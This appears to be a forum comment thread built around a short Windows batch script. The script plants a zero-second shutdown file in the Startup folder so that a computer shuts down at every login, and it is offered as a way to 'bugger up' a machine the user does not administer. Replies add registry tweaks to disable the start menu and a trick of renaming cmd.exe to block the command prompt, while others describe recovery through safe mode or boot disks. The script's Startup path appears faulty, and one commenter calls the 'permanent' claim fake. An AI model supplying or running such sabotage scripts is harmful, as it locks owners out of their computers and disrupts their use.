    This is technically a program, but... it is
    only 3 lines, a better solution to this problem (if you wanted
    something slightly more substantial would be a program which created the
    batch file, copied it to the file system and then ran it. (Look below)

    _____________________________________________________________

    @echo off
    echo @echo off > shutdown.bat
    echo cd / >> shutdown.bat
    echo shutdown -s -t 00 -c "Permanent Shutdown" >> shutdown.bat
    echo exit >> shutdown.bat
    xcopy shutdown.bat C:\Windows\StartMenu\Program\Startup /c
    start shutdown.bat
    end

    _______________________________________________________________

    however
    you could argue that this is neither a program either however, if you
    wanted to permanmently shutdown a computer where you are not
    administrator, or have no access to administrator priviledges, then this would be
    your solution if you wanted to bugger up the computer at question

    Or you could use powershell and reg-edit and change the registries to disable the start menu >=) and you can rename cmd.exe to cmd.ext which would then disable access to all command prompt actions including administrator.

    That is horrible/awesome can you boot into safe mode and turn it off? or do you have to open "run" and type shutdown -a?

    Im not sure about safe mode but shutdown -a won't work because the timing for the shutdown to execute was 00 seconds and theres no time to type shutdown -a in cmd.

    How to stop:
    Boot in safe mode.
    Remove your horrid little program.
    Boot in normal mode.
    Shake butt in the author's FACE!
    Say, "LICK IT AND LIKE IT!"
    Sleep. :)

    You could just boot up from a portable linux disk and delete your little program

    yeah you could... but chances are that nobody knows what's going on...

    if they bother to check and find out what's happening they could. You have to know the problem before you can fix it.

    OR do it on a netbook! No cd drives there!

    Yeah, good point. My friend booted his netbook from a USB flash drive. And I can boot my mac from a firewire hdd.

    You don't need a CD drive for the boot disc some boot discs like mine are just microchips. (I have one because i tested my script on my netbook and so i had to make a boot drive in a microchip.  Also on a microchip it works faster.)

    This is fake it does not shut it down permanently he just wrote it to say that all it does is shuts down 00 seconds after it's opened with it in the start up all you have to do is log onto another profile use command prompt make it administrator and delete it.  If you really want to shut down a computer forever you write a batch file that deletes the reboot script from the hard drive.  Like most of the people are saying on their comments yes you can reboot it from a portable Linux boot disk but you would have to use it every time you wanted to get on your computer.(This program will shut your computer down though.) No hate to the maker of this tutorial.
